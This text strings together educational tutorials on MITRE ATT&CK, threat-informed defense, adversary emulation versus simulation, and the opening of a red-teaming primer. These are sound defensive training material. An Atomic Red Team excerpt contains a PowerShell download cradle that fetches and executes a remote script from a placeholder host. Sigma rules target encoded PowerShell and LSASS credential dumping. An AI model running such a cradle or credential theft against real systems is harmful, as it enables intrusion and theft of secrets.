Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques

Objective: Understand what the MITRE ATT&CK knowledge base is, how it is structured — domains, matrices, tactics, techniques, sub-techniques, and procedures — and how defenders, threat hunters, and authorized red teamers use it as a shared operational language for threat-informed defense and adversary emulation.

1. What Is MITRE ATT&CK and Why It Matters

MITRE ATT&CK is a living, open-source knowledge base that documents real-world adversary tactics, techniques, and procedures (TTPs). It was created by the MITRE Corporation and first released in 2013. ATT&CK focuses on how attackers behave — the actions they take inside an environment — rather than on the indicators of compromise (IOCs) they leave behind.

This distinction matters. IOCs (hashes, IPs, domains) are brittle and disposable; an adversary rotates them cheaply. Behaviors — injecting code, dumping credentials, abusing valid accounts — are expensive to change. ATT&CK catalogs the durable behaviors, grounded in empirical evidence from intrusions observed across industries and geographies.

ATT&CK builds on the Lockheed Martin Cyber Kill Chain (Hutchins, Cloppert & Amin, 2011). The Matrix columns are ordered roughly along the chronological flow of an intrusion, but ATT&CK goes deeper, enumerating concrete mechanisms under each phase rather than naming abstract stages.

2. The Three Domains: Enterprise, Mobile, and ICS

ATT&CK is partitioned into three domains, each with its own matrices.

This site focuses on Enterprise ATT&CK because it covers the Windows, Linux, and cloud surfaces most relevant to blue teams, DFIR, and authorized red teaming.

3. Tactics, Techniques, Sub-Techniques, and Procedures

The ATT&CK data model is a four-level hierarchy. Each level answers a different question.

Tactics represent the “why.” Techniques represent the “how.” Sub-techniques describe a narrower variation. For example, the technique Account Manipulation (T1098) encompasses sub-techniques such as Additional Email Delegate Permissions (T1098.002) and Exchange Email Delegate Permissions (T1098.003), each detailing a distinct method.

Procedures are the real-world implementations — specific tools, malware families, or hands-on-keyboard methods observed in active campaigns. This is what makes ATT&CK actionable: you can study the actual tradecraft, not just the abstraction.

4. Walking the Enterprise Matrix: The 14 Tactics

The Matrix column headings are the tactics, presented in roughly chronological order. The cells under each column are the techniques that achieve that tactical objective. The baseline below reflects ATT&CK v16.1 (14 tactics, 203 techniques, 453 sub-techniques). For reference, v18 lists 14 tactics, 216 techniques, 475 sub-techniques, 44 mitigations, and over 1,700 analytics. Always pin counts to a version.

v19 note (April 2026): ATT&CK v19 introduced a major structural change — the Defense Evasion tactic (TA0005) was split into two new tactics, Stealth and Defense Impairment. TA0005 is deprecated in the current release. Retrieve the exact new tactic IDs and transition guidance from attack.mitre.org/resources/updates/ before mapping against v19.

5. Anatomy of a Technique Page

Every technique page is a structured record. Take T1059.001 — PowerShell (a sub-technique of T1059 Command and Scripting Interpreter, under Execution).

A technique can belong to multiple tactics. The Detection section lists data source / data component pairs, free-text analytic notes, and — since v14 — structured pseudocode analytics from the MITRE Cyber Analytics Repository (CAR). These data-source fields tell you exactly which telemetry to collect.

6. Related Objects: Groups, Software, Campaigns, and Mitigations

ATT&CK is more than a list of behaviors. A graph of related objects ties techniques to threat intelligence.

This turns the Matrix into an operational tool: not just “T1056.001 exists,” but which group uses it, with what software, in which campaign, and which mitigations apply. The Group pages are the entry point for threat-actor-centric research and emulation planning.

7. Programmatic Access via STIX and the ATT&CK Python Library

ATT&CK is published as STIX 2.1 — the structured threat intelligence format from the OASIS CTI Technical Committee. In STIX, an intrusion-set object (Group) links to attack-pattern objects (techniques/sub-techniques), malware and tool objects (software), and campaign objects. MITRE distributes the bundles on GitHub.

The canonical library is mitreattack-python (github.com/mitre-attack/mitreattack-python). Load a bundle and query the data model directly.

from mitreattack.stix2 import MitreAttackData

mitre = MitreAttackData("enterprise-attack.json")

# List every technique under the Persistence tactic (TA0003)
for t in mitre.get_techniques_by_tactic("persistence", "enterprise-attack"):
    print(mitre.get_attack_id(t.id), t.name)

Fetch a single technique by its ATT&CK ID and inspect the schema fields:

tech = mitre.get_object_by_attack_id("T1059.001", "attack-pattern")
print(tech.name)                 # PowerShell
print(tech.x_mitre_platforms)    # ['Windows']
for phase in tech.kill_chain_phases:
    print(phase.phase_name)      # execution

Walk the relationship graph to list every Group observed using a technique:

for g in mitre.get_groups_using_technique(tech.id):
    grp = g["object"]
    print(mitre.get_attack_id(grp.id), grp.name, grp.aliases)

The raw attack-pattern object behind that technique looks like this (trimmed and annotated):

{
  "type": "attack-pattern",
  "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
  "name": "PowerShell",
  "x_mitre_platforms": ["Windows"],
  "x_mitre_is_subtechnique": true,
  "kill_chain_phases": [
    { "kill_chain_name": "mitre-attack", "phase_name": "execution" }
  ],
  "external_references": [
    {
      "source_name": "mitre-attack",
      "external_id": "T1059.001",
      "url": "https://attack.mitre.org/techniques/T1059/001"
    }
  ]
}

To stay current across releases, diff two STIX bundles to surface added or modified techniques:

# Illustrative: compare two domain bundles and emit a change report
from mitreattack.diffStix.changelog_helper import get_new_changelog_md

get_new_changelog_md(
    old="enterprise-attack-16.1.json",
    new="enterprise-attack-18.0.json",
    domains=["enterprise-attack"],
    markdown_file="attack-v16-to-v18-changes.md",
)

8. The ATT&CK Navigator and Coverage Layers

The ATT&CK Navigator renders the Matrix as an interactive heat map. You assign scores and colors to techniques to build layers — coverage maps for detection engineering, gap analysis, and emulation scoping. Layers are JSON and version-controllable.

{
  "name": "Detection Coverage - Execution & Persistence",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1059.001", "score": 100, "color": "#31a354",
      "comment": "Sysmon EID 1 + Script Block Logging" },
    { "techniqueID": "T1547.001", "score": 50, "color": "#fee08b",
      "comment": "Partial registry telemetry" },
    { "techniqueID": "T1055", "score": 0, "color": "#de2d26",
      "comment": "No process-injection detection" }
  ]
}

Overlay an adversary’s known techniques (red) against your detection coverage (green) and the white space is your gap list.

9. Applying ATT&CK in Defense and Authorized Emulation

As a defender, map every SIEM alert and detection rule to a technique ID. Build Navigator layers to measure coverage, then prioritize engineering against the techniques most relevant to your threat model — threat-informed defense instead of blanket coverage.

As an authorized red teamer / adversary emulator, pull a Group page (e.g., a relevant APT), extract its technique set, and build a TTP-driven emulation plan. This is fundamentally different from vulnerability-based scoping: you exercise the behaviors the defense must catch. Tools like MITRE CALDERA and Atomic Red Team chain ATT&CK-mapped tests so blue and red teams speak the same IDs.

10. Common Attacker Techniques

The framework catalogs thousands of behaviors. A handful illustrate the model’s range and the important fact that one technique can serve multiple tactics.

T1078 (Valid Accounts) is the teaching case: it appears under four tactics — Initial Access, Persistence, Privilege Escalation, and Defense Evasion — because the same behavior serves different adversary goals depending on context.

11. Defensive Strategies & Detection

Because ATT&CK is structural, the goal here is wiring it into your detection workflow. Each technique page lists Data Sources (e.g., Process, Command, Windows Registry, Network Traffic) and Data Components (e.g., Process Creation, Network Connection Creation). These map directly to telemetry you must collect.

On Windows, Sysmon supplies much of that telemetry.

Sigma is the vendor-neutral detection format that carries ATT&CK IDs in its tags block, letting every rule trace back to a technique and tactic.

title: PowerShell EncodedCommand Execution
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
  condition: selection
tags:
  - attack.execution        # tactic name (lowercase)
  - attack.t1059.001        # sub-technique ID (lowercase)
level: medium

Mitigations use M#### IDs (verify against attack.mitre.org/mitigations/enterprise/ before citing in production):

12. Tools for ATT&CK Analysis

13. MITRE ATT&CK Mapping

Every other tutorial on this site closes with a mapping table. Read it as technique → tactic → context. This is the worked example.

14. Summary

• MITRE ATT&CK is a behavior-based, empirically grounded knowledge base of adversary TTPs — not an IOC feed.
• The data model is a hierarchy: tactics (why, TA####) → techniques (how, T####) → sub-techniques (T####.###) → procedures (real-world instances).
• Related objects — Groups (G####), Software (S####), Campaigns (C####), Mitigations (M####) — turn the Matrix into an operational, intelligence-led tool.
• Pin counts and structure to a specific version; v19 (April 2026) split Defense Evasion (TA0005) into Stealth and Defense Impairment — confirm the new IDs at attack.mitre.org/resources/updates/.
• Operationalize ATT&CK by mapping data sources to Sysmon telemetry, tagging Sigma rules with technique IDs, and tracking coverage in Navigator layers for both detection engineering and authorized emulation.

Related Tutorials

• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle

References

• MITRE ATT&CK® – Getting Started (Official Resources Overview)
• Enterprise Tactics – MITRE ATT&CK®
• Enterprise Techniques – MITRE ATT&CK®
• Adversary Emulation Plans – MITRE ATT&CK®
• ATT&CK Adversary Emulation & Red Teaming – MITRE ATT&CK® Get Started
• MITRE ATT&CK: Design and Philosophy (Official PDF – Strom et al.)

Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle

Objective: Understand how defenders operationalize adversary knowledge — the Pyramid of Pain, MITRE ATT&CK, the CTI lifecycle, STIX/TAXII, M3TID/INFORM, and adversary emulation — into a continuous, measurable intelligence-driven security cycle rather than reacting to brittle indicators.

1. The Problem With Reactive Defense

Indicator-centric programs fail because indicators are cheap for the adversary to change. Hashes, IP addresses, and domains rotate trivially — a recompile changes a hash; a new VPS changes an IP. As popularized by David Bianco’s Pyramid of Pain (2013), these atomic indicators detect an adversary only for a fleeting window.

The Pyramid ranks indicator types by how much pain it causes an adversary to change them:

Documenting activity at the TTP level lets defenders think at an abstraction that is concrete enough to be actionable, yet stable enough to remain valid across adversaries and over time. Unlike traditional models that focus on indicators of compromise (IOCs), behavioral defense maps how adversaries operate once inside the environment. That is the foundation of Threat-Informed Defense.

2. What Is Threat-Informed Defense?

Threat-Informed Defense (TID) is the systematic application of a deep understanding of adversary tradecraft and technology to improve defenses. The MITRE Center for Threat-Informed Defense (CTID) defines it across three operationalized dimensions:

The shift is from “Are we patched?” to “Are we defended against these adversaries?” TID is a mindset that prioritizes finite defensive budget against the behaviors that actually threaten your sector.

3. MITRE ATT&CK: Architecture and Anatomy

The MITRE ATT&CK® Framework is a globally accessible knowledge base of adversary TTPs based on real-world observations. Its core objects:

The 14 Enterprise tactics, in order: Reconnaissance (TA0043), Resource Development (TA0042), Initial Access (TA0001), Execution (TA0002), Persistence (TA0003), Privilege Escalation (TA0004), Defense Evasion (TA0005), Credential Access (TA0006), Discovery (TA0007), Lateral Movement (TA0008), Collection (TA0009), Command and Control (TA0011), Exfiltration (TA0010), Impact (TA0040). ATT&CK is versioned — always confirm IDs against attack.mitre.org.

ATT&CK is distributed as STIX 2.1. You can parse the public bundle directly to enumerate every technique:

from stix2 import MemoryStore, Filter

store = MemoryStore()
store.load_from_file("enterprise-attack.json")  # mitre/cti repo

for t in store.query([Filter("type", "=", "attack-pattern")]):
    for ref in t.get("external_references", []):
        if ref.get("source_name") == "mitre-attack":
            print(ref["external_id"], "-", t["name"])

ATT&CK Navigator visualizes and compares coverage layers (JSON format), while ATT&CK Workbench lets organizations manage and extend a local copy of the knowledge base in sync with the public one.

4. The CTI Lifecycle: From Raw Data to Prioritized TTPs

Intelligence is produced, not collected ad hoc. The six-phase CTI lifecycle maps cleanly onto the TID dimensions:

Structured intelligence is exchanged with STIX 2.1 (the data model) over TAXII 2.1 (the transport, supporting Collections and Channels). Open platforms — MISP and OpenCTI — ingest STIX bundles manually, via connectors, or by subscribing to a TAXII feed.

A minimal shareable STIX bundle links a threat actor to a technique through a relationship:

from stix2 import ThreatActor, AttackPattern, Relationship, Bundle, ExternalReference

actor = ThreatActor(name="APT29", labels=["nation-state"])

technique = AttackPattern(
    name="Spearphishing Attachment",
    external_references=[ExternalReference(
        source_name="mitre-attack",
        external_id="T1566.001",
        url="https://attack.mitre.org/techniques/T1566/001")])

rel = Relationship(actor, "uses", technique)
print(Bundle(actor, technique, rel).serialize(pretty=True))

Automating the loop turns a TAXII feed into a prioritized TTP list for the detection team:

from taxii2client.v21 import Server
from stix2 import parse
import csv

server = Server("https://taxii.example-isac.org/taxii2/",
                user="analyst", password="<token>")
collection = server.api_roots[0].collections[0]

ttps = []
for obj in collection.get_objects().get("objects", []):
    so = parse(obj, allow_custom=True)
    if so.get("type") == "attack-pattern":
        for ref in so.get("external_references", []):
            if ref.get("source_name") == "mitre-attack":
                ttps.append((ref["external_id"], so["name"]))

with open("prioritized_ttps.csv", "w", newline="") as f:
    csv.writer(f).writerows([("technique_id", "name"), *sorted(set(ttps))])

5. Building a Sector-Specific Threat Model

You cannot defend against everything, so prioritize. Select the ATT&CK Groups relevant to your sector, extract their techniques, and weight by frequency using CTID’s Sightings Ecosystem data and the Top ATT&CK Techniques Calculator.

The mitreattack-python library pulls a group’s full technique set:

from mitreattack.stix20 import MitreAttackData

data = MitreAttackData("enterprise-attack.json")
apt29 = data.get_groups_by_alias("APT29")[0]

for entry in data.get_techniques_used_by_group(apt29.id):
    tech = entry["object"]
    print(data.get_attack_id(tech.id), tech["name"])

Layer the result in the Navigator and colour cells by your current detection status. A layer file encodes that scoring directly:

{
  "name": "Detection Coverage - APT29",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1566.001", "color": "#fc3b3b", "comment": "None - no email detonation telemetry" },
    { "techniqueID": "T1059.001", "color": "#33cc33", "comment": "Detected - Script Block Logging" },
    { "techniqueID": "T1055",     "color": "#ffe766", "comment": "Partial - EDR on workstations only" }
  ]
}

6. Mapping Controls to ATT&CK: The Defensive Measures Dimension

Knowing the adversary is useless without knowing your own coverage. CTID’s Mappings Explorer lets defenders see how security capabilities map to ATT&CK, and the NIST SP 800-53 ↔ ATT&CK mappings let you assess control coverage against real-world techniques.

The critical pitfall: ATT&CK coverage ≠ detection coverage. A control that can mitigate a technique is not the same as telemetry that proves you detect it. Distinguish two gap types:

Re-run the Mappings Explorer comparison before and after each emulation cycle to quantify the coverage delta — that delta is your measurable program improvement.

7. Testing & Evaluation: Closing the Loop

T&E proves defenses work by emulating real adversary behavior. Distinguish the disciplines:

MITRE CALDERA is a scalable, automated adversary-emulation platform; Atomic Red Team (Red Canary) is a library of small, ATT&CK-mapped tests for fast technique validation; and the CTID Adversary Emulation Library provides full emulation plans modeled on real threats. Run them as purple-team exercises — red executes, blue observes, both tune in real time.

# T1059.001 - atomic test metadata (excerpt)
attack_technique: T1059.001
display_name: PowerShell
atomic_tests:
  - name: Download cradle execution
    executor:
      name: powershell
      command: |
        IEX (New-Object Net.WebClient).DownloadString('#{cradle_url}')
    input_arguments:
      cradle_url:
        type: url
        default: https://example.test/benign.ps1

# Execute one atomic test, then confirm the telemetry fired
Invoke-AtomicTest T1059.001 -TestNumbers 1
# Map result -> Navigator: green only if Sysmon EID 1 + Script Block Log observed

If the test fires but no analytic alerts, you have found a detection gap — feed it straight back into the cycle.

8. M3TID and INFORM: Measuring Program Maturity

CTID’s M3TID (Measure, Maximize, Mature Threat-Informed Defense) operationalizes the three dimensions and assigns relative weighting:

The weighting reflects that defensive measures are where threat knowledge becomes protection. INFORM (Jan 2026) builds on M3TID, translating CTI, defensive measures, and T&E into a measurable, repeatable strategic maturity practice. Treat M3TID as the foundational reference and INFORM as its strategic-maturity successor — they are distinct publications, not synonyms. Self-assess each dimension, then invest where the lowest-weighted-adjusted score sits.

9. The Intelligence-Driven Security Cycle: Putting It All Together

The dimensions form a continuous loop, not a one-time audit:

1. Direction/CTI: Ingest sector intelligence via TAXII; extract prioritized TTPs.
2. Threat model: Layer relevant ATT&CK Groups in Navigator.
3. Defensive measures: Map controls via Mappings Explorer; identify gaps.
4. T&E: Emulate the TTP chain with CALDERA / Atomic Red Team.
5. Measure: Score coverage delta and M3TID maturity.
6. Feedback: Failed detections become new CTI collection requirements.

Each rotation tightens coverage against the adversaries you actually face. The loop never closes — new sightings continuously reshape the threat model.

10. Common Pitfalls and Maturity Anti-Patterns

• The “ATT&CK checkbox” fallacy — colouring a cell green for a control that is mapped but never validated.
• Retroactive labeling — tagging alerts with technique IDs after the fact instead of engineering proactive detections.
• IOC over-reliance — building the program on indicators near the bottom of the Pyramid of Pain.
• Treating the matrix as static — ATT&CK is versioned; threat models decay if not refreshed.
• Stale TTPs — driving investment from sightings years old without re-validation.

11. Common Attacker Techniques

These are the behaviors a TID program is built to detect — the worked examples throughout the cycle:

12. Defensive Strategies & Detection

TID succeeds only if emulation is observable. Validate that the following telemetry fires during every T&E run:

Anchor every detection to an ATT&CK ID so coverage is measurable. A skeleton Sigma rule for encoded PowerShell:

title: Suspicious PowerShell Encoded Command Execution
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
  condition: selection
tags:
  - attack.execution
  - attack.t1059.001
  - attack.ta0002
level: medium

Hardening baselines: enable command-line process auditing (ProcessCreationIncludeCmdLine_Enabled); enforce PowerShell Constrained Language Mode with Script Block and Module Logging; deploy Sysmon with a maintained config (e.g., SwiftOnSecurity) validated against each technique’s ATT&CK data sources; enforce a TTP expiry policy (re-validate sightings older than 24 months); and configure automated TAXII ingest from ISAC/CERT networks.

13. Tools for Threat-Informed Defense

14. MITRE ATT&CK Mapping

Summary

• Threat-Informed Defense replaces brittle IOC reaction with stable, behavior-centric defense built on adversary TTPs.
• The Pyramid of Pain motivates the shift; MITRE ATT&CK supplies the shared TTP vocabulary across Tactics, Techniques, Groups, and Mitigations.
• TID’s three dimensions — CTI, Defensive Measures, Testing & Evaluation — connect through the six-phase CTI lifecycle and exchange intelligence via STIX 2.1 over TAXII 2.1.
• M3TID measures maturity (CTI 30%, DM 50%, T&E 20%); INFORM is its strategic successor.
• Close the loop with CALDERA, Atomic Red Team, and the CTID Adversary Emulation Library, validating every technique against Sysmon and ATT&CK-tagged Sigma rules.

Related Tutorials

• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Access Tokens and Privileges: The Kernel’s Security Context
• SIDs and Security Descriptors: Identity in Windows Security
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

References

• Adversary Emulation Plans | MITRE ATT&CK®
• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Get Started: Threat Intelligence | MITRE ATT&CK®
• Our Mission: Threat-Informed Defense | MITRE Center for Threat-Informed Defense (CTID)
• Adversary Emulation Library | MITRE Center for Threat-Informed Defense (CTID)
• Enabling Threat-Informed Cybersecurity: Evolving CISA’s Approach to Cyber Threat Information Sharing | CISA

Adversary Emulation vs. Adversary Simulation: Definitions, Differences, and Why It Matters

Objective: Understand adversary emulation and adversary simulation as distinct offensive-security disciplines, how each maps onto MITRE ATT&CK and real tooling, and how to choose the right methodology so your detection and response controls are tested against the threat you actually care about.

1. Setting the Stage: Why Terminology Precision Matters

The words emulation, simulation, and red teaming are routinely used interchangeably in vendor decks and statements of work. That imprecision has an operational cost. If you commission a generic penetration test and believe you have validated your detection capability against a named threat actor, you have made a category error — you bought a vulnerability-finding exercise and assumed it tested your SOC’s behavioral analytics.

Precise language drives correct scope. Adversary emulation answers “would we detect and respond to what APT29 actually does?” Adversary simulation answers “can an attacker reach our crown jewels through any plausible path?” Both are valuable; they are not substitutes.

2. Foundational Vocabulary: TTPs and the ATT&CK Matrix

Both disciplines speak ATT&CK. The framework decomposes adversary behavior into a hierarchy that red and blue teams share as a common language.

ATT&CK technique IDs (T1566.001, T1078, T1021.002) function as stable identifiers that bind a CTI report, an emulation step, and a detection rule together. When a red-team finding cites T1003.001 and a Sigma rule keys on the same ID, the loop from offense to defense closes cleanly.

3. Adversary Emulation Defined

Adversary emulation is a structured offensive exercise in which the operator replicates the specific TTPs of a named threat actor — derived from cyber threat intelligence (CTI) — to test whether the organization’s controls detect, prevent, or respond to that actor’s real-world playbook.

The defining constraint is intelligence. Introduced by MITRE, the discipline shifts testing away from tools, exploits, and indicators of compromise toward adversary behaviors as described in ATT&CK. The goal is not to replay a malware sample or rebuild exact C2 infrastructure, but to emulate how a real actor selects, chains, and adapts techniques over time to reach its objective.

Because CTI rarely captures complete hands-on-keyboard detail, emulation is behavioral, not scripted. The operator exercises judgment while remaining bound by intelligence-defined objectives, tradecraft patterns, and risk tolerance. Ideally the blue team is blind — the exercise should look like a genuine intrusion, using TTPs known to work in the target environment.

4. Anatomy of an Adversary Emulation Plan

An Adversary Emulation Plan (AEP) is the deliverable that operationalizes a named actor. MITRE’s ATT&CK Evaluations (the APT29 structure) define three components:

MITRE publishes AEPs for actors including APT3 (G0022), APT29 (G0016), FIN6, and menuPass through the Center for Threat-Informed Defense. A minimal AEP skeleton is intentionally a behavioral framework, not an exploit script:

# emulation-plan/generic-apt.yaml  (conceptual)
intelligence_summary:
  actor: "GENERIC-APT (illustrative)"
  references: ["G0016", "internal-cti-2024-114"]
  objective: "Access and exfiltrate finance data"

operational_flow:
  - phase: initial-access
    technique: T1566.001        # Spearphishing Attachment
  - phase: execution
    technique: T1059.001        # PowerShell
  - phase: persistence
    technique: T1547.001        # Registry Run Key
  - phase: credential-access
    technique: T1003.001        # LSASS Memory
  - phase: lateral-movement
    technique: T1021.002        # SMB / Admin Shares
  - phase: exfiltration
    technique: T1041            # Exfiltration Over C2 Channel

Each emulation step references an ATT&CK ID and a short behavioral description — never a weaponized payload.

5. Adversary Simulation Defined

Adversary simulation is a comprehensive assessment of an organization’s preparedness and responsiveness to cyber threats and incidents. It tests detection, response, and recovery procedures while replicating real-world scenarios — but it is goal-oriented and flexible rather than bound to one actor.

The simulating team acts as a hypothetical or generic threat actor and draws TTPs from the ATT&CK matrix broadly, choosing whatever path achieves the objective. Simulation is the right call when the environment is heterogeneous, the threat profile is unknown, or leadership wants a general posture assessment rather than validation against a specific named playbook.

The key axis of difference: simulation is a flexible, goal-oriented test of your security program’s ability to stop an attack path, while emulation is a rigid, intelligence-driven test of your ability to detect and respond to the behaviors of a named threat actor.

6. Side-by-Side Comparison

A convergence zone exists where vendor marketing uses both terms interchangeably — particularly Breach & Attack Simulation platforms that actually perform emulation of named-actor TTPs. Read past the label: ask whether the test is bound to specific CTI (emulation) or open-ended toward a goal (simulation).

7. Red Teaming, Purple Teaming, and BAS on the Spectrum

These methodologies are not competitors; they occupy different points on a spectrum.

Red teaming is the parent concept: using TTPs to emulate a real-world threat and measure the effectiveness of people, processes, and technology. Purple teaming runs red and blue collaboratively to tune detections in real time. Breach & Attack Simulation (BAS) — Picus, Cymulate, AttackIQ — automates and continuously runs TTPs against deployed controls, distinguished from manual emulation by automation and cadence.

8. The Regulatory Dimension: TIBER-EU, CBEST, and DORA

Intelligence-led emulation is now mandated for critical financial infrastructure.

These frameworks operationalize adversary emulation at enterprise scale: a threat-intelligence provider produces a targeting package, an independent red-team provider executes against live systems, and the engagement is governed to manage operational risk. “TLPT” is the regulatory term for exactly the intelligence-led emulation described in Section 3.

9. Tooling Landscape

Atomic Red Team atomics map one test to one technique, ideal for detection validation:

# atomics/T1059.001/T1059.001.yaml  (conceptual)
attack_technique: T1059.001
display_name: "Command and Scripting Interpreter: PowerShell"
atomic_tests:
  - name: "Run a benign discovery command"
    supported_platforms: [windows]
    input_arguments:
      cmd:
        description: "Command to execute"
        type: string
        default: "Get-Process"
    executor:
      name: powershell
      command: "#{cmd}"

CALDERA abilities bind a runnable action to an ATT&CK tactic and technique ID, letting the planner chain them into autonomous campaigns:

# caldera ability (conceptual)
id: 9b1f0c2e-...-illustrative
name: "Local account discovery"
tactic: discovery
technique:
  attack_id: T1087.001
  name: "Account Discovery: Local Account"
platforms:
  windows:
    psh:
      command: |
        Get-LocalUser | Select-Object Name,Enabled

Combine them pragmatically: atomics validate single-technique detections; CALDERA chains techniques into operational flows; BAS provides continuous regression testing of the controls you have already tuned.

10. Building an Emulation Plan from Threat Intelligence

The AEP authoring process turns a CTI report into an ordered operational flow. Conceptually, you extract referenced techniques, resolve them against ATT&CK STIX data, group by tactic, and order the result into the kill-chain progression.

# Conceptual CTI-to-AEP mapping (pseudocode, not tooling)
TACTIC_ORDER = ["initial-access", "execution", "persistence",
                "privilege-escalation", "defense-evasion",
                "credential-access", "lateral-movement",
                "collection", "exfiltration"]

def build_operational_flow(cti_technique_ids, attack_stix):
    steps = []
    for tid in cti_technique_ids:
        obj = attack_stix.lookup(tid)          # resolve T-ID -> ATT&CK object
        steps.append({"id": tid,
                      "tactic": obj.tactic,
                      "name": obj.name})
    # order by kill-chain phase to produce a logical flow
    return sorted(steps, key=lambda s: TACTIC_ORDER.index(s["tactic"]))

The resulting Operational Flow is the behavioral spine of the campaign:

T1566.001 ─► T1059.001 ─► T1547.001 ─► T1078 ─► T1003.001 ─► T1021.002 ─► T1041
Spearphish   PowerShell   Run Key      Valid    LSASS        SMB Admin    Exfil
Attachment   Execution    Persistence  Accounts Credentials  Lateral Mvmt over C2

Operators retain flexibility within each node — emulation constrains the what and why, not every keystroke.

11. Choosing the Right Methodology

Pick based on maturity, threat model, and blue-team readiness:

• Use emulation when you have a clear threat model (a known actor targets your sector) and want to validate detection of that actor’s specific behaviors.
• Use simulation when the threat profile is unknown, the environment is heterogeneous, or you need broad posture coverage.
• Use purple teaming when detections are immature and you want fast, collaborative tuning.
• Use BAS for continuous regression once detections exist.

Hard prerequisite: Simulation is inappropriate when logging infrastructure is insufficient to benefit from gap analysis. A small business that commissions a full simulation without Sysmon, PowerShell logging, and audit policy has wasted resources — there is nothing to see the attack with.

12. Common Attacker Techniques Exercised During Emulation

A representative AEP chains the following primitives; each is a discrete detection opportunity.

The program design principle: build analytics for ATT&CK behaviors, not detections for a single IOC or tool. Behavior-based analytics outlive the infrastructure of any one campaign.

13. Defensive Strategies & Detection

Instrument before you emulate. The events below should fire during a properly logged exercise.

Augment with ETW: Microsoft-Windows-Threat-Intelligence (injection, RX allocations — requires PPL/kernel consumer), Microsoft-Windows-PowerShell/Operational (4103, 4104 script-block logging for T1059.001), and WMI-Activity/Operational (5857–5861). Enable Audit Process Creation with ProcessCreationIncludeCmdLine_Enabled = 1 for full-command-line 4688, plus Audit Object Access → Kernel Object for 4656/4663 on LSASS handles.

Close the loop from finding to detection with a Sigma rule keyed on the same ATT&CK ID the emulation exercised:

title: LSASS Memory Access Consistent with Credential Dumping
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess: '0x1010'
  condition: selection
level: high
tags:
  - attack.credential_access
  - attack.t1003.001

MITRE ATT&CK Mapping

14. Tools for Adversary Emulation Analysis

Summary

• Emulation is intelligence-driven and named-actor-specific; simulation is goal-driven and actor-agnostic — they are not synonyms.
• An Adversary Emulation Plan binds CTI to behavior through three parts: Intelligence Summary, Operational Flow, and Emulation Plan — a behavioral framework, not a script.
• Red teaming, purple teaming, and BAS occupy distinct points on the spectrum; regulators (TIBER-EU, CBEST, DORA) now mandate intelligence-led emulation as TLPT.
• CALDERA chains ATT&CK-mapped abilities; Atomic Red Team validates single techniques — both speak technique IDs so findings convert directly into detections.
• Instrument before you emulate: deploy Sysmon, ScriptBlock logging, and audit policy first, then close the loop from finding → Sigma rule → SIEM, building analytics for behaviors rather than a single IOC.

Related Tutorials

• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

References

• Adversary Emulation Plans | MITRE ATT&CK®
• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Adversary Emulation Library | MITRE Center for Threat-Informed Defense
• MITRE Adversary Emulation Library (GitHub) | center-for-threat-informed-defense
• Welcome to MITRE Caldera’s Documentation (Official Docs)
• Introducing the All-New Adversary Emulation Plan Library | MITRE Engenuity (Medium)

Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types

Objective: Understand what a red team engagement actually is, how it differs from vulnerability assessment and penetration testing, the adversarial mindset and methodologies that structure it, the typology of engagement formats, and how every offensive action maps back to MITRE ATT&CK to produce measurable defender value.

1. What Red Teaming Actually Is

Red teaming is objective-driven adversary simulation that tests an organization’s detection and response capability — not an exhaustive enumeration of every vulnerability. A penetration test prioritizes coverage of the attack surface; a red team engagement prioritizes realism and a targeted goal: reaching high-value assets such as executive workstations, code repositories, or financial systems while remaining undetected.

The defining trait: red team engagements deliberately do not seek full coverage. They genuinely test whether the organization can block or detect an attack chain, which is why they are the longest-running of all assessment types — stealth and patience are part of the deliverable.

2. The Adversarial Mindset

A red operator thinks objective-first, not checklist-first. Compliance testing asks “is this control present?” Adversarial thinking asks “what is the cheapest path to the crown jewels that the SOC will not see?”

Three mental anchors define the mindset:

• Objective-first — every action serves a defined goal (data, access, impact). Noise that does not advance the objective is risk.
• Stealth-conscious — assume the environment is instrumented. Prefer living-off-the-land over noisy tooling; pace operations to blend with baseline activity.
• Iterative — reconnaissance, hypothesis, action, observation, adapt. A blocked path is intelligence, not a dead end.

The premise underpinning modern engagements is assume breach: perimeter compromise is treated as inevitable, so the real measurement is how fast the defender detects and contains post-compromise activity.

3. Industry Methodologies

Red teaming inherits structure from established testing methodologies, then layers ATT&CK on top for adversary realism.

PTES (Penetration Testing Execution Standard) provides the canonical seven phases:

1. Pre-engagement Interactions — scope, objectives, rules of engagement, timelines, legal/compliance
2. Intelligence Gathering — reconnaissance, OSINT, passive and active scanning
3. Threat Modeling
4. Vulnerability Analysis
5. Exploitation
6. Post-Exploitation
7. Reporting

